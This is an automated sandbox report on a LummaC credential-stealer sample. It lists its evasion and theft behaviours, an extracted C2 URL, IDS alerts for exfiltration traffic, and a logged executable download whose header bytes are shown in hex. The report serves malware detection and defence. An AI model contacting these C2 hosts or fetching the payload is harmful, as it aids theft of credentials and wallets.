Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1562253
MD5:	91ed86397a1d20fc8c1057985c13abc5
SHA1:	31402c55aa6e6295383e405d9d12ff4bc84e980a
SHA256:	c1b9a83f47c5b38c215aff0cce585477e084a5af8630726d960f699971a3852e
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Query firmware table information (likely to detect VMs)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Downloads executable code via HTTP

Entry point lies outside standard sections

Found potential string decryption / allocating functions

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 4024 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 91ED86397A1D20FC8C1057985C13ABC5)

chrome.exe (PID: 6980 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 4708 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2268 --field-trial-handle=2184,i,11451357721040655892,3136664989347756057,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7380 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7576 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2076 --field-trial-handle=2000,i,4349229689837919820,14898632998453722938,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Malware Configuration

Threatname: LummaC

{"C2 url": "https://frogs-severz.sbs/api", "Build Version": "LOGS11--LiveTraffi"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.2171695107.0000000000ED2000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2171438141.0000000000EBD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2171392707.0000000000ECF000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2142417765.0000000000EBC000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 4024	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: file.exe PID: 4024	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 4024	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Click to see the 2 entries

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-25T12:06:58.661160+0100	2028371	3	Unknown Traffic	192.168.2.5	49704	172.67.155.47	443	TCP
2024-11-25T12:07:02.034346+0100	2028371	3	Unknown Traffic	192.168.2.5	49705	172.67.155.47	443	TCP
2024-11-25T12:07:04.405190+0100	2028371	3	Unknown Traffic	192.168.2.5	49706	172.67.155.47	443	TCP
2024-11-25T12:07:06.511028+0100	2028371	3	Unknown Traffic	192.168.2.5	49707	172.67.155.47	443	TCP
2024-11-25T12:07:08.928734+0100	2028371	3	Unknown Traffic	192.168.2.5	49708	172.67.155.47	443	TCP
2024-11-25T12:07:11.643331+0100	2028371	3	Unknown Traffic	192.168.2.5	49709	172.67.155.47	443	TCP
2024-11-25T12:07:14.478907+0100	2028371	3	Unknown Traffic	192.168.2.5	49711	172.67.155.47	443	TCP
2024-11-25T12:07:20.108465+0100	2028371	3	Unknown Traffic	192.168.2.5	49716	172.67.155.47	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-25T12:07:00.605709+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49704	172.67.155.47	443	TCP
2024-11-25T12:07:02.735249+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49705	172.67.155.47	443	TCP
2024-11-25T12:07:21.103688+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49716	172.67.155.47	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-25T12:07:00.605709+0100	2049836	1	A Network Trojan was detected	192.168.2.5	49704	172.67.155.47	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-25T12:07:02.735249+0100	2049812	1	A Network Trojan was detected	192.168.2.5	49705	172.67.155.47	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-25T12:07:22.622802+0100	2019714	2	Potentially Bad Traffic	192.168.2.5	49723	185.215.113.16	80	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-25T12:07:07.404358+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.5	49707	172.67.155.47	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: https://frogs-severz.sbs/apiue	Avira URL Cloud: Label: malware
Source: https://frogs-severz.sbs/apil	Avira URL Cloud: Label: malware
Source: https://frogs-severz.sbs/apit	Avira URL Cloud: Label: malware
Source: https://frogs-severz.sbs/apin	Avira URL Cloud: Label: malware
Source: https://frogs-severz.sbs/apib	Avira URL Cloud: Label: malware
Source: https://frogs-severz.sbs/Z	Avira URL Cloud: Label: malware
Source: https://frogs-severz.sbs/pj	Avira URL Cloud: Label: malware
Source: https://frogs-severz.sbs/r	Avira URL Cloud: Label: malware

Found malware configuration

Source: file.exe.4024.0.memstrmin

Malware Configuration Extractor: LummaC {"C2 url": "https://frogs-severz.sbs/api", "Build Version": "LOGS11--LiveTraffi"}

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 42%

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 172.67.155.47:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.155.47:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.155.47:443 -> 192.168.2.5:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.155.47:443 -> 192.168.2.5:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.155.47:443 -> 192.168.2.5:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.155.47:443 -> 192.168.2.5:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.155.47:443 -> 192.168.2.5:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.5:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.5:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.155.47:443 -> 192.168.2.5:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.5:49778 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.5:49787 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.5:49853 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.5:49871 version: TLS 1.2

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49704 -> 172.67.155.47:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49704 -> 172.67.155.47:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:49707 -> 172.67.155.47:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:49705 -> 172.67.155.47:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49705 -> 172.67.155.47:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49716 -> 172.67.155.47:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: https://frogs-severz.sbs/api

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 25 Nov 2024 11:07:22 GMTContent-Type: application/octet-streamContent-Length: 2846720Last-Modified: Mon, 25 Nov 2024 10:42:49 GMTConnection: keep-aliveETag: "674454a9-2b7000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 e0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 2c 00 00 04 00 00 c9 a0 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 66 72 71 6b 72 6c 78 6a 00 20 2b 00 00 a0 00 00 00 10 2b 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 66 79 67 78 63 6b 69 6a 00 20 00 00 00 c0 2b 00 00 04 00 00 00 4a 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 e0 2b 00 00 22 00 00 00 4e 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: Joe Sandbox View	IP Address: 172.67.155.47 172.67.155.47
Source: Joe Sandbox View	IP Address: 13.107.246.63 13.107.246.63
Source: Joe Sandbox View	IP Address: 185.215.113.16 185.215.113.16

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49704 -> 172.67.155.47:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49708 -> 172.67.155.47:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49705 -> 172.67.155.47:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49707 -> 172.67.155.47:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49709 -> 172.67.155.47:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49706 -> 172.67.155.47:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49716 -> 172.67.155.47:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49711 -> 172.67.155.47:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.5:49723 -> 185.215.113.16:80

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=lRDkn92tguHwkO2&MD=4Ff31h2e HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
